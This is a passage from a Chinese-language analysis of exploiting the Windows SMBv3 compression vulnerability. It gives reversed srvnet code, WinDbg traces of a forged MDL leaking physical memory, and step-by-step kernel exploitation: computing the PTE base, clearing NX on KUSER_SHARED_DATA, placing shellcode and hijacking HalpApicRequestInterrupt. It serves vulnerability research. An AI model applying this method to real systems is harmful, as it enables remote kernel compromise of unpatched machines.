9），然后调用PplCreateLookasideList设置上面介绍的那些结构。在PplCreateLookasideList函数中设置上面第二三个结构，在PplpCreateOneLookasideList函数中设置上面第四个结构，最终在SrvNetAllocateBufferFromPool函数（SrvNetBufferLookasideAllocate函数调用）中设置SRVNET_BUFFER_HDR结构。
//SrvNetCreateBufferLookasides
while ( 1 )
{
v4 = PplCreateLookasideList(
(__int64 (__fastcall *)())SrvNetBufferLookasideAllocate,
(__int64 (__fastcall *)(PSLIST_ENTRY))SrvNetBufferLookasideFree,
v1, // 0
v2, // 0
(1 << (v3 + 0xC)) + 0x100,
0x3030534C,
v6,
0x6662534Cu);
*v0 = v4;
if ( !v4 )
break;
++v3;
++v0;
if ( v3 >= 9 )
return 0i64;
}
以下为对SRVNET_BUFFER_HDR结构的初始化过程，v7为 length（满足 (1 << (index + 0xC)) + 0x100 条件）+
0xE8（SRVNET_BUFFER_HDR结构长度+8+0x50）+ 2 * (MDL +
8)，其中MDL结构大小和length+0xE8相关，后面会介绍。然后通过ExAllocatePoolWithTag函数分配v7大小的内存，根据偏移获取UserBufferPtr（偏移0x50）、SRVNET_BUFFER_HDR（偏移0x50加length，8字节对齐）等地址，具体如下，不一一介绍。
//SrvNetAllocateBufferFromPool
v8 = (BYTE *)ExAllocatePoolWithTag((POOL_TYPE)0x200, v7, 0x3030534Cu);
......
v11 = (__int64)(v8 + 0x50);
v12 = (SRVNET_BUFFER_HDR *)((unsigned __int64)&v8[v2 + 0x57] & 0xFFFFFFFFFFFFFFF8ui64); //v2是length
v12->PoolAllocationPtr = v8;
v12->pMdl2 = (PMDL)((unsigned __int64)&v12->unknown3[v5 + 0xF] & 0xFFFFFFFFFFFFFFF8ui64);
v13 = (_MDL *)((unsigned __int64)&v12->unknown3[0xF] & 0xFFFFFFFFFFFFFFF8ui64);
v12->UserBufferPtr = v8 + 0x50;
v12->pMdl1 = v13;
v12->BufferFlags = 0;
v12->TracingDataCount = 0;
v12->UserBufferSizeAllocated = v2;
v12->UserBufferSizeUsed = 0;
v14 = ((_WORD)v8 + 0x50) & 0xFFF;
v12->PoolAllocationSize = v7;
v12->BytesProcessed = 0;
v12->BytesReceived = 0i64;
v12->pSrvNetWskStruct = 0i64;
v12->SmbFlags = 0;
//SRVNET_BUFFER_HDR 例：
kd> dq rdi
ffffcc0f`76fed150 00000000`00000000 00000000`00000000
ffffcc0f`76fed160 00000000`00000000 ffffcc0f`76fe9050
ffffcc0f`76fed170 00000000`00004100 00000000`000042a8
ffffcc0f`76fed180 ffffcc0f`76fe9000 ffffcc0f`76fed1e0
ffffcc0f`76fed190 00000000`00000000 00000000`00000000
ffffcc0f`76fed1a0 ffffcc0f`76fed240 00000000`00000000
ffffcc0f`76fed1b0 00000000`00000000 00000000`00000000
ffffcc0f`76fed1c0 00000000`00000000 00000000`00000000
通过MmSizeOfMdl函数获取MDL结构长度，以下为获取0x41e8长度空间所需的MDL结构长度 ( 0x58
)，其中，0x30为基础长度，0x28存放5个物理页的pfn（0x41e8长度的数据需要存放在5个页）。
kd>
srvnet!SrvNetAllocateBufferFromPool+0x62:
fffff806`2280d2d2 e809120101 call nt!MmSizeOfMdl (fffff806`2381e4e0)
kd> r rcx
rcx=0000000000000000
kd> r rdx //0x4100 + 0xe8
rdx=00000000000041e8
kd> p
srvnet!SrvNetAllocateBufferFromPool+0x67:
fffff806`2280d2d7 488d6808 lea rbp,[rax+8]
kd> r rax //0x30+0x28
rax=0000000000000058
kd> dt _mdl
nt!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
MmBuildMdlForNonPagedPool函数调用后，MdlFlags被设置为4，且对应的物理页pfn被写入MDL结构，
_然后通过MmMdlPageContentsState函数以及或操作将MdlFlags设置为0x5004（20484）。_
kd>
srvnet!SrvNetAllocateBufferFromPool+0x1b0:
fffff806`2280d420 e8eb220301 call nt!MmBuildMdlForNonPagedPool (fffff806`2383f710)
kd> dt _mdl @rcx
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n88
+0x00a MdlFlags : 0n0
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : (null)
+0x020 StartVa : 0xffffcc0f`76fe9000 Void
+0x028 ByteCount : 0x4100
+0x02c ByteOffset : 0x50
kd> dd rcx
ffffcc0f`76fed1e0 00000000 00000000 00000058 00000000
ffffcc0f`76fed1f0 00000000 00000000 00000000 00000000
ffffcc0f`76fed200 76fe9000 ffffcc0f 00004100 00000050
ffffcc0f`76fed210 00000000 00000000 00000000 00000000
ffffcc0f`76fed220 00000000 00000000 00000000 00000000
ffffcc0f`76fed230 00000000 00000000 00000000 00000000
ffffcc0f`76fed240 00000000 00000000 00000000 00000000
ffffcc0f`76fed250 00000000 00000000 00000000 00000000
//flag以及物理页pfn被设置
kd> p
srvnet!SrvNetAllocateBufferFromPool+0x1b5:
fffff806`2280d425 488b4f38 mov rcx,qword ptr [rdi+38h]
kd> dt _mdl ffffcc0f`76fed1e0
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n88
+0x00a MdlFlags : 0n4
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffffcc0f`76fe9050 Void
+0x020 StartVa : 0xffffcc0f`76fe9000 Void
+0x028 ByteCount : 0x4100
+0x02c ByteOffset : 0x50
kd> dd ffffcc0f`76fed1e0
ffffcc0f`76fed1e0 00000000 00000000 00040058 00000000
ffffcc0f`76fed1f0 00000000 00000000 76fe9050 ffffcc0f
ffffcc0f`76fed200 76fe9000 ffffcc0f 00004100 00000050
ffffcc0f`76fed210 00041099 00000000 00037d1a 00000000
ffffcc0f`76fed220 00037d9b 00000000 00039c9c 00000000
ffffcc0f`76fed230 00037d1d 00000000 00000000 00000000
ffffcc0f`76fed240 00000000 00000000 00000000 00000000
ffffcc0f`76fed250 00000000 00000000 00000000 00000000
//是正确的物理页
kd> dd ffffcc0f`76fe9000
ffffcc0f`76fe9000 00000000 00000000 00000000 00000000
ffffcc0f`76fe9010 76fe9070 ffffcc0f 00000001 00000000
ffffcc0f`76fe9020 00000001 00000001 76fe9088 ffffcc0f
ffffcc0f`76fe9030 00000008 00000000 00000000 00000000
ffffcc0f`76fe9040 00000000 00000000 76fe90f8 ffffcc0f
ffffcc0f`76fe9050 00000290 00000000 76feb4d8 ffffcc0f
ffffcc0f`76fe9060 00000238 00000000 0000000c 00000000
ffffcc0f`76fe9070 00000018 00000001 eb004a11 11d49b1a
kd> !dd 41099000
#41099000 00000000 00000000 00000000 00000000
#41099010 76fe9070 ffffcc0f 00000001 00000000
#41099020 00000001 00000001 76fe9088 ffffcc0f
#41099030 00000008 00000000 00000000 00000000
#41099040 00000000 00000000 76fe90f8 ffffcc0f
#41099050 00000290 00000000 76feb4d8 ffffcc0f
#41099060 00000238 00000000 0000000c 00000000
#41099070 00000018 00000001 eb004a11 11d49b1a
### 物理地址读
根据前面的介绍可知，SRVNET BUFFER HDR结构体中存放了两个MDL结构（Memory Descriptor
List，内存描述符列表）指针，分别位于其0x38和0x50偏移处，MDL维护缓冲区的物理地址信息，以下为某个请求结构的第一个MDL：
2: kd> dt _mdl poi(rax+38)
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n64
+0x00a MdlFlags : 0n20484
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffffae8d`0cfe3050 Void
+0x020 StartVa : 0xffffae8d`0cfe3000 Void
+0x028 ByteCount : 0x1100
+0x02c ByteOffset : 0x50
2: kd> dd poi(rax+38)
ffffae8d`0cfe41e0 00000000 00000000 50040040 00000000
ffffae8d`0cfe41f0 00000000 00000000 0cfe3050 ffffae8d
ffffae8d`0cfe4200 0cfe3000 ffffae8d 00001100 00000050
ffffae8d`0cfe4210 0004a847 00000000 00006976 00000000
ffffae8d`0cfe4220 00000000 00000000 00000000 00000000
ffffae8d`0cfe4230 00040040 00000000 00000000 00000000
ffffae8d`0cfe4240 00000000 00000000 0cfe3000 ffffae8d
ffffae8d`0cfe4250 00001100 00000050 00000000 00000000
0xFFFFAE8D0CFE3000映射自物理页4A847 ，0xFFFFAE8D0CFE4000映射自物理页6976。和上面MDL结构可以对应起来。
3: kd> !pte 0xffffae8d`0cfe3000
VA ffffae8d0cfe3000
PXE at FFFFF6FB7DBEDAE8 PPE at FFFFF6FB7DB5D1A0 PDE at FFFFF6FB6BA34338 PTE at FFFFF6D746867F18
contains 0A000000013BE863 contains 0A000000013C1863 contains 0A00000020583863 contains 8A0000004A847B63
pfn 13be ---DA--KWEV pfn 13c1 ---DA--KWEV pfn 20583 ---DA--KWEV pfn 4a847 CG-DA--KW-V
3: kd> !pte 0xffffae8d`0cfe4000
VA ffffae8d0cfe4000
PXE at FFFFF6FB7DBEDAE8 PPE at FFFFF6FB7DB5D1A0 PDE at FFFFF6FB6BA34338 PTE at FFFFF6D746867F20
contains 0A000000013BE863 contains 0A000000013C1863 contains 0A00000020583863 contains 8A00000006976B63
pfn 13be ---DA--KWEV pfn 13c1 ---DA--KWEV pfn 20583 ---DA--KWEV pfn 6976 CG-DA--KW-V
在Srv2DecompressData函数中，如果解压失败，就会调用SrvNetFreeBuffer，在这个函数中对不需要的缓冲区进行一些处理之后将其放回SrvNetBufferLookasides表，但没有对User
Buffer区域以及MDL相关数据进行处理，后面再用到的时候会直接取出来用（前面分析过），存在数据未初始化的隐患。如下所示，在nt!ExpInterlockedPushEntrySList函数被调用后，伪造了pMDL1指针的SRVNET
BUFFER HDR结构体指针被放入SrvNetBufferLookasides。
//Srv2DecompressData
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
3: kd> dq poi(poi(SrvNetBufferLookasides)+20)
ffffae8d`0bbb54c0 ffffae8d`0bbddbc0 ffffae8d`0bbdd980
ffffae8d`0bbb54d0 ffffae8d`0bbdd7c0 ffffae8d`0bbdd640
ffffae8d`0bbb54e0 ffffae8d`0bbdd140 0005d2a7`00000014
ffffae8d`0bbb54f0 0002974b`0003d3e0 00000064`00005000
ffffae8d`0bbb5500 52777445`0208f200 0006f408`0006f3f3
ffffae8d`0bbb5510 ffffae8d`0586bb58 ffffae8d`0bbb5f10
ffffae8d`0bbb5520 ffffae8d`0bbb5520 ffffae8d`0bbb5520
ffffae8d`0bbb5530 ffffae8d`0586bb20 00000000`00000000
3: kd> p
srvnet!SrvNetFreeBuffer+0x18b:
fffff800`494758ab ebcf jmp srvnet!SrvNetFreeBuffer+0x15c (fffff800`4947587c)
3: kd> dq ffffae8d`0bbdd140
ffffae8d`0bbdd140 00000000`00130002 ffffae8d`0dbf6150
ffffae8d`0bbdd150 0000001a`01000004 00000013`0000000d
ffffae8d`0bbdd160 00000200`00000000 00001100`3030534c
ffffae8d`0bbdd170 fffff800`4947d600 fffff800`4947d590
ffffae8d`0bbdd180 ffffae8d`0bbdd9c0 ffffae8d`08302ac0
ffffae8d`0bbdd190 00000009`00000016 00000000`00000000
ffffae8d`0bbdd1a0 ffffae8d`0bbddbc0 00000000`00000000
ffffae8d`0bbdd1b0 00000000`00000001 00000000`00000000
3: kd> dq ffffae8d`0dbf6150 //假设伪造了pmdl1指针
ffffae8d`0dbf6150 ffffae8d`0a771150 cdcdcdcd`cdcdcdcd
ffffae8d`0dbf6160 00000003`00000000 ffffae8d`0dbf5050
ffffae8d`0dbf6170 00000000`00001100 00000000`00001278
ffffae8d`0dbf6180 ffffae8d`0dbf5000 fffff780`00000e00
ffffae8d`0dbf6190 00000000`00000000 00000000`00000000
ffffae8d`0dbf61a0 ffffae8d`0dbf6228 00000000`00000000
ffffae8d`0dbf61b0 00000000`00000000 00000000`00000000
ffffae8d`0dbf61c0 00000000`00000000 00000000`00000000
ricercasecurity文章中提示可通过伪造MDL结构（设置后面的物理页pfn）来泄露物理内存。在后续处理某些请求时，会从SrvNetBufferLookasides表中取出缓冲区来存放数据，因而数据包有概率分配在被破坏的缓冲区上，由于网卡驱动最终会依赖DMA（Direct
Memory
Access，直接内存访问）来传输数据包，因而伪造的MDL结构可控制读取有限的数据。如下所示，Smb2ExecuteNegotiateReal函数在处理SMB协商的过程中又从SrvNetBufferLookasides中获取到了被破坏的缓冲区，其pMDL1指针已经被覆盖为伪造的MDL结构地址0xfffff78000000e00，该结构偏移0x30处的物理页被指定为0x1aa。
3: kd> dd fffff78000000e00 //伪造的MDL结构
fffff780`00000e00 00000000 00000000 50040040 0b470280
fffff780`00000e10 00000000 00000000 00000050 fffff780
fffff780`00000e20 00000000 fffff780 00001100 00000008
fffff780`00000e30 000001aa 00000000 00000001 00000000
3: kd> k
# Child-SP RetAddr Call Site
00 ffffd700`634cf870 fffff800`494767de nt!ExpInterlockedPopEntrySListResume+0x7
01 ffffd700`634cf880 fffff800`44d24de6 srvnet!SrvNetAllocateBuffer+0x9e
02 ffffd700`634cf8d0 fffff800`44d3d584 srv2!Srv2AllocateResponseBuffer+0x1e
03 ffffd700`634cf900 fffff800`44d29a9f srv2!Smb2ExecuteNegotiateReal+0x185f4
04 ffffd700`634cfad0 fffff800`44d2989a srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
05 ffffd700`634cfb50 fffff800`457d9037 srv2!RfspThreadPoolNodeWorkerRun+0x1ba
06 ffffd700`634cfbb0 fffff800`45128ce5 nt!IopThreadStart+0x37
07 ffffd700`634cfc10 fffff800`452869ca nt!PspSystemThreadStartup+0x55
08 ffffd700`634cfc60 00000000`00000000 nt!KiStartSystemThread+0x2a
3: kd>
srv2!Smb2ExecuteNegotiateReal+0x592:
fffff800`44d25522 498b86f8000000 mov rax,qword ptr [r14+0F8h]
3: kd>
srv2!Smb2ExecuteNegotiateReal+0x599:
fffff800`44d25529 488b5818 mov rbx,qword ptr [rax+18h]
3: kd> dd rax //被破坏了的pmdl1指针
ffffae8d`0cfce150 00000000 00000000 005c0073 00750050
ffffae8d`0cfce160 00000002 00000003 0cfcd050 ffffae8d
ffffae8d`0cfce170 00001100 000000c4 00001278 00650076
ffffae8d`0cfce180 0cfcd000 ffffae8d 00000e00 fffff780
ffffae8d`0cfce190 00000000 006f0052 00000000 00000000
ffffae8d`0cfce1a0 0cfce228 ffffae8d 00000000 00000000
ffffae8d`0cfce1b0 00000000 00450054 0050004d 0043003d
ffffae8d`0cfce1c0 005c003a 00730055 00720065 005c0073
在后续数据传输过程中会调用hal!HalBuildScatterGatherListV2函数，其会利用MDL结构中的PFN、ByteOffset以及ByteCount来设置_SCATTER_GATHER_ELEMENT结构。然后调用TRANSMIT::MiniportProcessSGList函数（位于e1i65x64.sys，网卡驱动，测试环境）直接传送数据，该函数第三个参数为_SCATTER_GATHER_LIST类型，其两个
_SCATTER_GATHER_ELEMENT结构分别指明了0x3d942c0 和 0x1aa008
（物理地址），如下所示，当函数执行完成后，0x1aa物理页的部分数据被泄露。其中，0x1aa008来自于伪造的MDL结构，计算过程为：(0x1aa <<
c) + 8。
1: kd> dd r8
ffffae8d`0b454ca0 00000002 ffffae8d 00000001 00000000
ffffae8d`0b454cb0 03d942c0 00000000 00000100 ffffae8d
ffffae8d`0b454cc0 00000000 00000260 001aa008 00000000
ffffae8d`0b454cd0 00000206 00000000 00640064 00730069
1: kd> dt _SCATTER_GATHER_LIST @r8
hal!_SCATTER_GATHER_LIST
+0x000 NumberOfElements : 2
+0x008 Reserved : 1
+0x010 Elements : [0] _SCATTER_GATHER_ELEMENT
1: kd> dt _SCATTER_GATHER_ELEMENT ffffae8d`0b454cb0
hal!_SCATTER_GATHER_ELEMENT
+0x000 Address : _LARGE_INTEGER 0x3d942c0
+0x008 Length : 0x100
+0x010 Reserved : 0x00000260`00000000
1: kd> dt _SCATTER_GATHER_ELEMENT ffffae8d`0b454cb0+18
hal!_SCATTER_GATHER_ELEMENT
+0x000 Address : _LARGE_INTEGER 0x1aa008
+0x008 Length : 0x206
+0x010 Reserved : 0x00730069`00640064
1: kd> !db 0x3d9438a l100
# 3d9438a 00 50 56 c0 00 08 00 0c-29 c9 e3 5d 08 00 45 00 .PV.....)..]..E.
# 3d9439a 02 2e 45 8c 00 00 80 06-00 00 c0 a8 8c 8a c0 a8 ..E.............
# 3d943aa 8c 01 01 bd df c4 e1 1c-22 7e c3 d1 b7 0d 50 18 ........"~....P.
# 3d943ba 20 14 9b fd 00 00 c3 d1-b7 0d 00 00 00 00 00 00 ...............
1: kd> !dd 0x1aa008
# 1aa008 00000000 00000000 00000000 00000000
# 1aa018 00000000 00000000 00000000 00000000
# 1aa028 00000000 00000000 00000000 00000000
# 1aa038 00000000 00000000 00000000 00000000
# 1aa048 00000000 00000000 00000000 00000000
# 1aa058 00000000 00000000 00000000 00000000
# 1aa068 00000000 00000000 00000000 00000000
# 1aa078 00000000 00000000 00000000 00000000
正常的响应包应该是以下这个样子的，这次通过查看MiniportProcessSGList函数第四个参数（_NET_BUFFER类型）来验证，如下所示，此次MDL结构中维护的物理地址（0x4a84704c）和线性地址（0xffffae8d0cfe304c）是一致的：
3: kd> dt _NET_BUFFER @r9
ndis!_NET_BUFFER
+0x000 Next : (null)
+0x008 CurrentMdl : 0xffffae8d`0ca6ac50 _MDL
+0x010 CurrentMdlOffset : 0xca
+0x018 DataLength : 0x23c
+0x018 stDataLength : 0x00010251`0000023c
+0x020 MdlChain : 0xffffae8d`0ca6ac50 _MDL
+0x028 DataOffset : 0xca
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferHeader : _NET_BUFFER_HEADER
+0x030 ChecksumBias : 0
+0x032 Reserved : 5
+0x038 NdisPoolHandle : 0xffffae8d`08304900 Void
+0x040 NdisReserved : [2] 0xffffae8d`0c2e19a0 Void
+0x050 ProtocolReserved : [6] 0x00000206`00000100 Void
+0x080 MiniportReserved : [4] (null)
+0x0a0 DataPhysicalAddress : _LARGE_INTEGER 0xff0201cb`ff0201cd
+0x0a8 SharedMemoryInfo : (null)
+0x0a8 ScatterGatherList : (null)
3: kd> dx -id 0,0,ffffae8d05473040 -r1 ((ndis!_MDL *)0xffffae8d0ca6ac50)
((ndis!_MDL *)0xffffae8d0ca6ac50) : 0xffffae8d0ca6ac50 [Type: _MDL *]
[+0x000] Next : 0xffffae8d0850d690 [Type: _MDL *]
[+0x008] Size : 56 [Type: short]
[+0x00a] MdlFlags : 4 [Type: short]
[+0x00c] AllocationProcessorNumber : 0x2e7 [Type: unsigned short]
[+0x00e] Reserved : 0xff02 [Type: unsigned short]
[+0x010] Process : 0x0 [Type: _EPROCESS *]
[+0x018] MappedSystemVa : 0xffffae8d0ca6ac90 [Type: void *]
[+0x020] StartVa : 0xffffae8d0ca6a000 [Type: void *]
[+0x028] ByteCount : 0x100 [Type: unsigned long]
[+0x02c] ByteOffset : 0xc90 [Type: unsigned long]
3: kd> dx -id 0,0,ffffae8d05473040 -r1 ((ndis!_MDL *)0xffffae8d0850d690)
((ndis!_MDL *)0xffffae8d0850d690) : 0xffffae8d0850d690 [Type: _MDL *]
[+0x000] Next : 0x0 [Type: _MDL *]
[+0x008] Size : 56 [Type: short]
[+0x00a] MdlFlags : 16412 [Type: short]
[+0x00c] AllocationProcessorNumber : 0x3 [Type: unsigned short]
[+0x00e] Reserved : 0x0 [Type: unsigned short]
[+0x010] Process : 0x0 [Type: _EPROCESS *]
[+0x018] MappedSystemVa : 0xffffae8d0cfe304c [Type: void *]
[+0x020] StartVa : 0xffffae8d0cfe3000 [Type: void *]
[+0x028] ByteCount : 0x206 [Type: unsigned long]
[+0x02c] ByteOffset : 0x4c [Type: unsigned long]
3: kd> db 0xffffae8d0cfe304c
ffffae8d`0cfe304c 00 00 02 02 fe 53 4d 42-40 00 00 00 00 00 00 00 .....SMB@.......
ffffae8d`0cfe305c 00 00 01 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
ffffae8d`0cfe306c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffae8d`0cfe307c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffae8d`0cfe308c 00 00 00 00 41 00 01 00-11 03 02 00 66 34 fa 05 ....A.......f4..
ffffae8d`0cfe309c 30 97 9d 49 88 48 f5 78-47 ea 04 38 2f 00 00 00 0..I.H.xG..8/...
ffffae8d`0cfe30ac 00 00 80 00 00 00 80 00-00 00 80 00 02 6b 83 89 .............k..
ffffae8d`0cfe30bc 4b 8b d6 01 00 00 00 00-00 00 00 00 80 00 40 01 K.............@.
3: kd> !db 0x4a84704c
#4a84704c 00 00 02 02 fe 53 4d 42-40 00 00 00 00 00 00 00 .....SMB@.......
#4a84705c 00 00 01 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84706c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84707c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84708c 00 00 00 00 41 00 01 00-11 03 02 00 66 34 fa 05 ....A.......f4..
#4a84709c 30 97 9d 49 88 48 f5 78-47 ea 04 38 2f 00 00 00 0..I.H.xG..8/...
#4a8470ac 00 00 80 00 00 00 80 00-00 00 80 00 02 6b 83 89 .............k..
#4a8470bc 4b 8b d6 01 00 00 00 00-00 00 00 00 80 00 40 01 K.............@.
### 漏洞利用流程
1.通过任意地址写伪造MDL结构
2.利用解压缩精准覆盖pMDL1指针，使得压缩数据正好可以解压出伪造的MDL结构地址，但要控制解压失败，避免不必要的后续复制操作覆盖掉重要数据
3.利用前两步读取1aa（1ad）页，寻找自索引值，根据这个值计算PTE base
4.根据PTE BASE和KUSER_SHARED_DATA的虚拟地址计算出该地址的PTE，修改KUSER_SHARED_DATA区域的可执行权限
5.将Shellcode通过任意地址写复制到0xfffff78000000800（属于KUSER_SHARED_DATA）
6.获取halpInterruptController指针以及hal!HalpApicRequestInterrupt指针，利用任意地址写将hal!HalpApicRequestInterrupt指针覆盖为Shellcode地址，将halpInterruptController指针复制到已知区域（以便Shellcode可以找到hal!HalpApicRequestInterrupt函数地址并将halpInterruptController偏移0x78处的该函数指针还原）。hal!HalpApicRequestInterrupt函数是系统一直会调用的函数，劫持了它就等于劫持了系统执行流程。
**计算 PTE BASE：** 使用物理地址读泄露1aa页的数据（测试虚拟机采用BIOS引导），找到其自索引，通过(index << 39) |
0xFFFF000000000000得到PTE BASE。如下例所示：1aa页自索引为479（0x1DF），因而PTE BASE为(0x1DF << 39)
| 0xFFFF000000000000 = 0xFFFFEF8000000000。
0: kd> !dq 1aa000 l1df+1
# 1aa000 8a000000`0de64867 00000000`00000000
# 1aa010 00000000`00000000 00000000`00000000
# 1aa020 00000000`00000000 00000000`00000000
# ......
# 1aaed0 0a000000`013b3863 00000000`00000000
# 1aaee0 00000000`00000000 00000000`00000000
# 1aaef0 00000000`00000000 80000000`001aa063
1: kd> ?(0x1DF << 27) | 0xFFFF000000000000
Evaluate expression: -18141941858304 = ffffef80`00000000
**计算 KUSER_SHARED_DATA 的 PTE：** 通过 PTE BASE 和 KUSER_SHARED_DATA 的 VA
可以算出KUSER_SHARED_DATA 的 PTE，2017年黑客大会的一篇 PDF
里有介绍。计算过程实际是来源于ntoskrnl.exe中的MiGetPteAddress函数，如下所示，其中0xFFFFF68000000000为未随机化时的PTE
BASE，但自Windows 10 1607起 PTE BASE
被随机化，不过幸运的是，这个值可以从MiGetPteAddress函数偏移0x13处获取，系统运行后会将随机化的基址填充到此处（后面一种思路用了这个）：
.text:00000001400F1D28 MiGetPteAddress proc near ; CODE XREF: MmInvalidateDumpAddresses+1B↓p
.text:00000001400F1D28 ; MiResidentPagesForSpan+1B↓p ...
.text:00000001400F1D28 shr rcx, 9
.text:00000001400F1D2C mov rax, 7FFFFFFFF8h
.text:00000001400F1D36 and rcx, rax
.text:00000001400F1D39 mov rax, 0FFFFF68000000000h
.text:00000001400F1D43 add rax, rcx
.text:00000001400F1D46 retn
.text:00000001400F1D46 MiGetPteAddress endp
1: kd> u MiGetPteAddress
nt!MiGetPteAddress:
fffff802`045add28 48c1e909 shr rcx,9
fffff802`045add2c 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`045add36 4823c8 and rcx,rax
fffff802`045add39 48b80000000080efffff mov rax,0FFFFEF8000000000h
fffff802`045add43 4803c1 add rax,rcx
fffff802`045add46 c3 ret
fffff802`045add47 cc int 3
fffff802`045add48 cc int 3
在获取了PTE BASE之后可按照以上流程计算某地址的PTE，按照上面的代码计算FFFFF7800000000（KUSER_SHARED_DATA
的起始地址）的PTE为：((FFFFF78000000000 >> 9 ) & 7FFFFFFFF8) + 0xFFFFEF8000000000 =
0xFFFFEFFBC0000000，对比如下输出可知，我们已经成功计算出了FFFFF7800000000对应的PTE。
0: kd> !pte fffff78000000000
VA fffff78000000000
PXE at FFFFEFF7FBFDFF78 PPE at FFFFEFF7FBFEF000 PDE at FFFFEFF7FDE00000 PTE at FFFFEFFBC0000000
contains 0000000001300063 contains 0000000001281063 contains 0000000001782063 contains 00000000013B2963
pfn 1300 ---DA--KWEV pfn 1281 ---DA--KWEV pfn 1782 ---DA--KWEV pfn 13b2 -G-DA--KWEV
PDF链接：<https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf>
**去NX标志位：** 知道了目标地址的PTE（
0xFFFFEFFBC0000000），就可以为其去掉NX标志，这样就可以在这个区域执行代码了，思路是利用任意地址写将PTE指向的地址的 NoExecute
标志位修改为0。
2: kd> db ffffeffb`c0000006
ffffeffb`c0000006 00 80 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0: kd> db FFFFEFFBC0000000+6 //修改后
ffffeffb`c0000006 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1: kd> dt _MMPTE_HARDWARE FFFFEFFBC0000000
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000001001110110010 (0x13b2)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y1
0: kd> dt _MMPTE_HARDWARE FFFFEFFBC0000000 //修改后
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000001001110110010 (0x13b2)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y0
**寻找HAL：**
HAL堆是在HAL.DLL引导过程中创建的，HAL堆上存放了HalpInterruptController（目前也是随机化的），其中保存了一些函数指针，其偏移0x78处存放了hal!HalpApicRequestInterrupt函数指针。这个函数和中断相关，会被系统一直调用，所以可通过覆盖这个指针劫持执行流程。
0: kd> dq poi(hal!HalpInterruptController)
fffff7e6`80000698 fffff7e6`800008f0 fffff802`04486e50
fffff7e6`800006a8 fffff7e6`800007f0 00000000`00000030
fffff7e6`800006b8 fffff802`04422d80 fffff802`04421b90
fffff7e6`800006c8 fffff802`04422520 fffff802`044226e0
fffff7e6`800006d8 fffff802`044226b0 00000000`00000000
fffff7e6`800006e8 fffff802`044223c0 00000000`00000000
fffff7e6`800006f8 fffff802`04454560 fffff802`04432770
fffff7e6`80000708 fffff802`04421890 fffff802`0441abb0
0: kd> u fffff802`0441abb0
hal!HalpApicRequestInterrupt:
fffff802`0441abb0 48896c2420 mov qword ptr [rsp+20h],rbp
fffff802`0441abb5 56 push rsi
fffff802`0441abb6 4154 push r12
fffff802`0441abb8 4156 push r14
fffff802`0441abba 4883ec40 sub rsp,40h
fffff802`0441abbe 488bb42480000000 mov rsi,qword ptr [rsp+80h]
fffff802`0441abc6 33c0 xor eax,eax
fffff802`0441abc8 4532e4 xor r12b,r12b
可通过遍历物理页找到HalpInterruptController地址，如下所示，在虚拟机调试环境下该地址位于第一个物理页。在获得这个地址后，可通过0x78偏移找到alpApicRequestInterrupt函数指针地址，覆盖这个地址为Shellcode地址0xfffff78000000800，等待劫持执行流程。
1: kd> !dq 1000
# 1000 00000000`00000000 00000000`00000000
# 1010 00000000`01010600 00000000`00000000
# ......
# 18f0 fffff7e6`80000b20 fffff7e6`80000698
